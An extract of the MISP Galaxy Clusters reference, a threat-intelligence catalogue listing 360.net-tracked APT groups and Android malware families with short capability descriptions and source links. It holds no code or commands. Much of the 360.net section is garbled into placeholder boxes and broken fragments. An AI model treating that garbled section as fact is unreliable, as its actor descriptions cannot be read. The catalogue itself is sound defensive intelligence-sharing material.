MISP Galaxy Clusters

MISP Galaxy Cluster

Introduction . . . 3
- Funding and Support . . . 5

MISP galaxy . . . 6
- 360.net Threat Actors . . . 6
- Android . . . 23
- Azure Threat Research Matrix . . . 137
- attck4fraud . . . 160
- Backdoor . . . 177
- Banker . . . 190
- Bhadra Framework . . . 215
- Busy is the New Stupid framework . . . 223
- Botnet . . . 228
- Branded Vulnerability . . . 280
- Cert EU GovSector . . . 284
- China Defence Universities Tracker . . . 285
- CONCORDIA Mobile Modelling Framework - Attack Pattern . . . 355
- Country . . . 367
- Cryptominers . . . 399
- Actor Types . . . 401
- Countermeasures . . . 408
- Detections . . . 448
- Techniques . . . 472
- Election guidelines . . . 563
- Entity . . . 569
- Exploit-Kit . . . 570
- FIRST CSIRT Services Framework . . . 588
- FIRST DNS Abuse Techniques Matrix . . . 616
- GSMA MoTIF . . . 621
- Human Layer Kill Chain . . . 645
- Intelligence Agencies . . . 647
- INTERPOL DWVA Taxonomy . . . 752
- Malpedia . . . 770
- Main Features . . . 1872
- Microsoft Activity Group actor . . . 2598
- Misinformation Pattern . . . 2635
- Analytics . . . 2653

MITRE ATLAS Attack Pattern . . . 3189
MITRE ATLAS Course of Action . . . 3220
Attack Pattern . . . 3235
Course of Action . . . 4021
MITRE D3FEND . . . 4179
mitre-data-component . . . 4224
mitre-data-source . . . 4284
Detection Strategies . . . 4297
MITRE Engage Framework . . . 4490
Assets . . . 4502
Groups . . . 4505
Levels . . . 4511
Software . . . 4511
Tactics . . . 4518
Techniques . . . 4525
Intrusion Set . . . 4566
Malware . . . 4698
mitre-tool . . . 5076
NACE . . . 5116
NAICS . . . 5482
NATO . . . 6081
NICE Competency areas . . . 6085
NICE Knowledges . . . 6089
OPM codes in cybersecurity . . . 6198
NICE Skills . . . 6215
NICE Tasks . . . 6296
NICE Work Roles . . . 6474
o365-exchange-techniques . . . 6490
online-service . . . 6499
Preventive Measure . . . 6499
Producer . . . 6504
Ransomware . . . 6537
RAT . . . 7176
Regions UN M49 . . . 7257
rsit . . . 7260
SCOR - About . . . 7268
SCOR SPACE-SHIELD Mitigations . . . 7269
SCOR SPACE-SHIELD Tactics . . . 7274
SCOR SPACE-SHIELD Techniques . . . 7277
SCOR SPARTA Mitigations . . . 7281
SCOR SPARTA Tactics . . . 7283

SCOR SPARTA Techniques . . . 7285
Sector . . . 7287
Sigma-Rules . . . 7299
Dark Patterns . . . 8818
SoD Matrix . . . 8823
Stalkerware . . . 8867
Stealer . . . 8893
Surveillance Vendor . . . 8901
Target Information . . . 9221
TDS . . . 9278
Tea Matrix . . . 9281
Threat Actor . . . 9282
Tidal Campaigns . . . 9767
Tidal Groups . . . 9817
Tidal References . . . 9903
Tidal Software . . . 11208
Tidal Tactic . . . 11586
Tidal Technique . . . 11590
Threat Matrix for storage services . . . 11710
Tool . . . 11722
UAVs/UCAVs . . . 11955
UKHSA Culture Collections . . . 12202

Introduction

The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.

MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten,

replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.

Funding and Support

The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg .

circl.lu
Computer Incident
Response Center
LUXEMBOURG

A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as **Improving MISP as building blocks for next-generation information sharing**.

Co-financed by the European Union
Connecting Europe Facility

If you are interested to co-fund projects around MISP, feel free to get in touch with us.

MISP galaxy

360.net Threat Actors

Known or estimated adversary groups as identified by 360.net..

360.net Threat Actors is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

360.net

CIA - APT-C-39

APT-C-39□□□□□□□□□□NSA□□□□□□□□□CIA□□□□□□□□□□APT□□□□□□□□□□

- similar: misp-galaxy:mitre-intrusion-set="APT32 - G0050" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Canvas Cyclone" with estimative-language:likelihood-probability="likely"

Table 2. Table References

Links
https://apt.360.net/report/apts/93.html
https://apt.360.net/report/apts/1.html
https://apt.360.net/report/apts/94.html

□□□ - APT-C-09

□□□□□(APT-C-09)□□□HangOver□VICEROY TIGER□The Dropping Elephant□Patchwork□□□□□□□□□□□□□□APT□□□□□□□□□□□□12□□□□□□□□□□□Norman□□□□□2013□□□□□□□□□□□□□□

□□□ - APT-C-27

□2014□11□□□□□□□□□□□APT-C-27□□□□□□□□□□□

□□□ - APT-C-34

□□□

The tag is: *misp-galaxy:360net-threat-actor="ArmaRat - APT-C-33"*

ArmaRat - APT-C-33 is also known as:

Table 9. Table References

Links
https://apt.360.net/report/apts/48.html

□□□ - APT-C-38

□2015□7□□□□□□□□□□□APT-C-38□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□Windows□Android□□□Windows□RAT□□□PDB□□□□□□□□“Saber”□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□360□ APT □□□□□□□□□□□□□□□□□□□□□□□APT-C-38□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-38"*

□□□ - APT-C-38 is also known as:

Table 10. Table References

Links
https://apt.360.net/report/apts/30.html

□□□ - APT-C-37

□□□□□□APT-C-37□□□□□□□□“□□□□”□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□Windows□Android□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-37"*

□□□ - APT-C-37 is also known as:

Table 11. Table References

Links
https://apt.360.net/report/apts/28.html
https://apt.360.net/report/apts/103.html

□□□ - APT-C-15

□□□□□□□□□□□□□□□□□□□

Links
https://apt.360.net/report/apts/8.html

□□□ - APT-C-07

□□□□□□APT-C-07□□□□□□□□□□□APT□□□□□□□□□□9□□ □□□□□□□□□□□□

https://apt.360.net/report/apts/7.html

□□□ - APT-C-01

APT-C-01□□□□□□□□□□□□□□□□□□□□APT□□□□□□2007□□□□□□□□□□□□□□□□□□□

- similar: misp-galaxy:microsoft-activity-group="DUBNIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Zigzag Hail" with estimative-language:likelihood-probability="likely"

Table 17. Table References

Links
https://apt.360.net/report/apts/97.html
https://apt.360.net/report/apts/3.html

□□□ - APT-C-20

APT28(APT-C-20)□□□Pawn Storm□Sofacy□Sednit□Fancy Bear□Strontium□APT28□□□

https://apt.360.net/report/apts/120.html
https://apt.360.net/report/apts/72.html

□□ - APT-C-13

□□□

□□□ - APT-C-08

□□□

□□□ - APT-C-30 is also known as:

Table 23. Table References

Links
https://apt.360.net/report/apts/82.html

□□□ - APT-C-24

APT-C-24□□Sidewinder□Rattlesnake□□□□□□□□□□APT□□□/□□□□□□□□□□□□□□□□□□□

View relationships graph

ScarCruft - APT-C-28 has relationships with:

- similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"

Table 25. Table References

Links
https://apt.360.net/report/apts/79.html

Turla - APT-C-29

Turla Group□□Waterbug□Venomous Bear□Group 88□□□□□□□□□□□APT□□□□□□1996□□□□□□□2015□□□□□□□□□□□□Turla□□□□□□□□□□□□

Table 27. Table References

Links
https://apt.360.net/report/apts/68.html

□□ - APT-C-17

APT-C-17□360□□□□□APT□□□□□□□□□□□□□□□□“□□”□□□□□□□□□□□□□□□□□2013□1□□□□□□□2014□3□□□□□□□□□□□□□□□□□

- C-Major

View relationships graph

□□□□ - APT-C-56 has relationships with:

- similar: misp-galaxy:threat-actor="Operation C-Major" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Transparent Tribe - G0134" with estimative-language:likelihood-probability="likely"

Table 30. Table References

Links

□□□ - APT-C-61

APT-C-61□□□□□□□□□□□□□□□2020□1□□□□□□□□□□□□□□□

□□□□□□ - APT-C-46 is also known as:

- APT-C-46

Table 33. Table References

Links
https://apt.360.net/report/apts/169.html

□□□□ - APT-C-47

□□□360□□□□□□□□□ClickOnce□□□□□□□□□□□□360□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□APT□□□360□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□2018□□□□□□□□□□□□□□□□□□□

SandCat - APT-C-32 is also known as:

Table 36. Table References

Links

CNC - APT-C-48

□□□□2019□□□,□□□□□pdb□□□□cnc_client□□□□□□□□□CNC□□□Nday□□□□□□□□GO□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="CNC - APT-C-48"*

CNC - APT-C-48 is also known as:

Table 37. Table References

Links

□□□□ - APT-C-41

APT-C-41,□□□□□□□□□□□APT□□□□APT□□□□□□□□□□□□□□□2012□□□□□□□□□□□□□□□□□□□

probability="likely"

- similar: misp-galaxy:mitre-intrusion-set="Machete - G0095" with estimative-language:likelihood-probability="likely"

Table 39. Table References

Links
https://apt.360.net/report/apts/159.html

Gamaredon - APT-C-53

Gamaredon□□Primitive Bear□Winterflounder□BlueAlpha□□□□2013□□□□□□□□□□□□□□□□□□□APT□□□Gamaredon□□□□□□□□□□□□□□□□□□□

https://apt.360.net/report/apts/136.html

Android

Android malware galaxy based on multiple open sources..

> Android is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

CopyCat

CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.

The tag is: *misp-galaxy:android="CopyCat"*

Table 43. Table References

Links
https://blog.checkpoint.com/2017/07/06/how-the-copycat-malware-infected-android-devices-around-the-world/

Andr/Dropr-FH

Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.

The tag is: *misp-galaxy:android="Andr/Dropr-FH"*

Andr/Dropr-FH is also known as:

- GhostCtrl

View relationships graph

Andr/Dropr-FH has relationships with:

- similar: misp-galaxy:malpedia="GhostCtrl" with estimative-language:likelihood-probability="likely"

Table 44. Table References

Links

https://nakedsecurity.sophos.com/2017/07/21/watch-out-for-the-android-malware-that-snoops-on-your-phone/
https://www.neowin.net/news/the-ghostctrl-android-malware-can-silently-record-your-audio-and-steal-sensitive-data

Judy

The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.

The tag is: *misp-galaxy:android="Judy"*

Table 45. Table References

Links
http://fortune.com/2017/05/28/android-malware-judy/
https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/

RedAlert2

The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user's credentials and sends them to its C&C server.

The tag is: *misp-galaxy:android="RedAlert2"*

View relationships graph

RedAlert2 has relationships with:

- similar: misp-galaxy:malpedia="RedAlert2" with estimative-language:likelihood-probability="likely"

Table 46. Table References

Links
https://www.bleepingcomputer.com/news/security/researchers-discover-new-android-banking-trojan/
https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html

Tizi

Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social

media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.

The tag is: *misp-galaxy:android="Tizi"*

Table 47. Table References

Links
https://security.googleblog.com/2017/11/tizi-detecting-and-blocking-socially.html

DoubleLocker

DoubleLocker can change the device's PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.

The tag is: *misp-galaxy:android="DoubleLocker"*

View relationships graph

DoubleLocker has relationships with:

- similar: misp-galaxy:malpedia="DoubleLocker" with estimative-language:likelihood-probability="likely"

Table 48. Table References

Links
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/

Svpeng

Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.

The tag is: *misp-galaxy:android="Svpeng"*

Svpeng is also known as:

- Invisble Man

View relationships graph

Svpeng has relationships with:

- similar: misp-galaxy:tool="Svpeng" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"

Table 49. Table References

Links
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/
https://www.theregister.co.uk/2017/08/02/banking_android_malware_in_uk/

LokiBot

LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.

The tag is: *misp-galaxy:android="LokiBot"*

View relationships graph

LokiBot has relationships with:

- similar: misp-galaxy:malpedia="Loki Password Stealer (PWS)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="LokiBot" with estimative-language:likelihood-probability="likely"

Table 50. Table References

Links
https://clientsidedetection.com/lokibot_the_first_hybrid_android_malware.html

BankBot

The main goal of this malware is to steal banking credentials from the victim’s device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.

The tag is: *misp-galaxy:android="BankBot"*

View relationships graph

BankBot has relationships with:

- similar: misp-galaxy:malpedia="Anubis (Android)" with estimative-language:likelihood-probability="likely"

Table 51. Table References

Links
https://blog.fortinet.com/2017/09/19/a-look-into-the-new-strain-of-bankbot
https://forensics.spreitzenbarth.de/android-malware/
https://blog.avast.com/mobile-banking-trojan-sneaks-into-google-play-targeting-wells-fargo-chase-and-citibank-customers

Viking Horde

In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.

The tag is: *misp-galaxy:android="Viking Horde"*

Table 52. Table References

Links
http://www.alwayson-network.com/worst-types-android-malware-2016/

HummingBad

A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.

The tag is: *misp-galaxy:android="HummingBad"*

View relationships graph

HummingBad has relationships with:

- similar: misp-galaxy:mitre-malware="HummingBad - S0322" with estimative-language:likelihood-probability="likely"

Table 53. Table References

Links
http://www.alwayson-network.com/worst-types-android-malware-2016/
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf

Ackposts

Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.

The tag is: *misp-galaxy:android="Ackposts"*

Table 54. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99

Wirex

Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.

The tag is: *misp-galaxy:android="Wirex"*

Table 55. Table References

Links
https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/
http://www.zdnet.com/article/wirex-ddos-malware-given-udp-flood-capabilities/

WannaLocker

WannaLocker is a strain of ransomware for Android devices that encrypts files on the device's external storage and demands a payment to decrypt them.

The tag is: *misp-galaxy:android="WannaLocker"*

Table 56. Table References

Links
https://fossbytes.com/wannalocker-ransomware-wannacry-android/

Switcher

Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router's admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.

The tag is: *misp-galaxy:android="Switcher"*

View relationships graph

Switcher has relationships with:

- similar: misp-galaxy:malpedia="Switcher" with estimative-language:likelihood-probability="likely"

Table 57. Table References

Links

http://www.zdnet.com/article/this-android-infecting-trojan-malware-uses-your-phone-to-attack-your-router/
https://www.theregister.co.uk/2017/01/03/android_trojan_targets_routers/
https://www.symantec.com/security_response/writeup.jsp?docid=2017-090410-0547-99

Vibleaker

Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user's phone for the Viber app, and then steal photos and videos recorded or sent through the app.

The tag is: *misp-galaxy:android="Vibleaker"*

Table 58. Table References

Links
http://news.softpedia.com/news/malicious-android-app-steals-viber-photos-and-BankBot-505758.shtml

ExpensiveWall

ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge

The tag is: *misp-galaxy:android="ExpensiveWall"*

Table 59. Table References

Links
https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/
http://fortune.com/2017/09/14/google-play-android-malware/

Cepsohord

Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.

The tag is: *misp-galaxy:android="Cepsohord"*

Table 60. Table References

Links
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord

Fakem Rat

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: *misp-galaxy:android="Fakem Rat"*

Table 61. Table References

Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99

GM Bot

GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.

The tag is: *misp-galaxy:android="GM Bot"*

GM Bot is also known as:

- Acecard
- SlemBunk
- Bankosy

View relationships graph

GM Bot has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 62. Table References

Links
https://blog.avast.com/android-trojan-gm-bot-is-evolving-and-targeting-more-than-50-banks-worldwide

Moplus

The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user's device, and this connection is established in the background without the user's knowledge.

The tag is: *misp-galaxy:android="Moplus"*

Table 63. Table References

Links
http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.

The tag is: *misp-galaxy:android="Adwind"*

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- Jsocket
- jRat
- Backdoor:Java/Adwind

View relationships graph

Adwind has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 64. Table References

Links
https://securelist.com/adwind-faq/73660/

AdSms

Adsms is a Trojan horse that may send SMS messages from Android devices.

The tag is: *misp-galaxy:android="AdSms"*

Table 65. Table References

Links
https://www.fortiguard.com/encyclopedia/virus/7389670
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051313-4039-99

Airpush

Airpush is a very aggresive Ad - Network

The tag is: *misp-galaxy:android="Airpush"*

Airpush is also known as:

- StopSMS

Table 66. Table References

Links
https://crypto.stanford.edu/cs155old/cs155-spring16/lectures/18-mobile-malware.pdf

BeanBot

BeanBot forwards device's data to a remote server and sends out premium-rate SMS messages from the infected device.

The tag is: *misp-galaxy:android="BeanBot"*

Table 67. Table References

Links
https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml

Kemoge

Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.

The tag is: *misp-galaxy:android="Kemoge"*

View relationships graph

Kemoge has relationships with:

- similar: misp-galaxy:mitre-malware="ShiftyBug - S0294" with estimative-language:likelihood-probability="likely"

Table 68. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html
https://www.symantec.com/security_response/writeup.jsp?docid=2015-101207-3555-99

Ghost Push

Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.

The tag is: *misp-galaxy:android="Ghost Push"*

Table 69. Table References

Links
https://en.wikipedia.org/wiki/Ghost_Push
https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push

BeNews

The BeNews app is a backdoor app that uses the name of defunct news site BeNews to appear legitimate. After installation it bypasses restrictions and downloads additional threats to the compromised device.

The tag is: *misp-galaxy:android="BeNews"*

Table 70. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/fake-news-app-in-hacking-team-dump-designed-to-bypass-google-play/

Accstealer

Accstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Accstealer"*

Table 71. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012711-1159-99

Acnetdoor

Acnetdoor is a detection for Trojan horses on the Android platform that open a back door on the compromised device.

The tag is: *misp-galaxy:android="Acnetdoor"*

Table 72. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051611-4258-99

Acnetsteal

Acnetsteal is a detection for Trojan horses on the Android platform that steal information from the compromised device.

The tag is: *misp-galaxy:android="Acnetsteal"*

Table 73. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051612-0505-99

Actech

Actech is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Actech"*

Table 74. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080111-3948-99

AdChina

AdChina is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdChina"*

Table 75. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-2947-99

Adfonic

Adfonic is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adfonic"*

Table 76. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052615-0024-99

AdInfo

AdInfo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdInfo"*

Table 77. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2433-99

Adknowledge

Adknowledge is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adknowledge"*

Table 78. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-1033-99

AdMarvel

AdMarvel is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdMarvel"*

Table 79. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-2450-99

AdMob

AdMob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdMob"*

Table 80. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-3437-99

Adrd

Adrd is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Adrd"*

Table 81. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-021514-4954-99

Aduru

Aduru is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Aduru"*

Table 82. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-2419-99

Adwhirl

Adwhirl is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adwhirl"*

Table 83. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1414-99

Adwlauncher

Adwlauncher is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Adwlauncher"*

Table 84. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082308-1823-99

Adwo

Adwo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adwo"*

Table 85. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-5806-99

Airad

Airad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Airad"*

Table 86. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-1704-99

Alienspy

Alienspy is a Trojan horse for Android devices that steals information from the compromised device. It may also download potentially malicious files.

The tag is: *misp-galaxy:android="Alienspy"*

Table 87. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-042714-5942-99

AmazonAds

AmazonAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AmazonAds"*

Table 88. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-5002-99

Answerbot

Answerbot is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Answerbot"*

Table 89. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-100711-2129-99

Antammi

Antammi is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Antammi"*

Table 90. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032106-5211-99

Apkmore

Apkmore is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Apkmore"*

Table 91. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-4813-99

Aplog

Aplog is a Trojan horse for Android devices that steals information from the device.

The tag is: *misp-galaxy:android="Aplog"*

Table 92. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100911-1023-99

Appenda

Appenda is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Appenda"*

Table 93. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062812-0516-99

Apperhand

Apperhand is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Apperhand"*

Table 94. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5637-99

Appleservice

Appleservice is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Appleservice"*

Table 95. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031011-4321-99

AppLovin

AppLovin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AppLovin"*

Table 96. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-1739-99

Arspam

Arspam is a Trojan horse for Android devices that sends spam SMS messages to contacts on the

compromised device.

The tag is: *misp-galaxy:android="Arspam"*

Table 97. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121915-3251-99

Aurecord

Aurecord is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Aurecord"*

Table 98. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-2310-99

Backapp

Backapp is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Backapp"*

Table 99. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092708-5017-99

Backdexer

Backdexer is a Trojan horse for Android devices that may send premium-rate SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Backdexer"*

Table 100. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121812-2502-99

Backflash

Backflash is a Trojan horse for Android devices that opens a back door and steals information from

the compromised device.

The tag is: *misp-galaxy:android="Backflash"*

Table 101. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091714-0427-99

Backscript

Backscript is a Trojan horse for Android devices that downloads files onto the compromised device.

The tag is: *misp-galaxy:android="Backscript"*

Table 102. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090704-3639-99

Badaccents

Badaccents is a Trojan horse for Android devices that may download apps on the compromised device.

The tag is: *misp-galaxy:android="Badaccents"*

Table 103. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-123015-3618-99

Badpush

Badpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Badpush"*

Table 104. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-4133-99

Ballonpop

Ballonpop is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Ballonpop"*

Table 105. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120911-1731-99

Bankosy

Bankosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Bankosy"*

View relationships graph

Bankosy has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 106. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072316-5249-99

Bankun

Bankun is a Trojan horse for Android devices that replaces certain banking applications on the compromised device.

The tag is: *misp-galaxy:android="Bankun"*

Table 107. Table References

Links
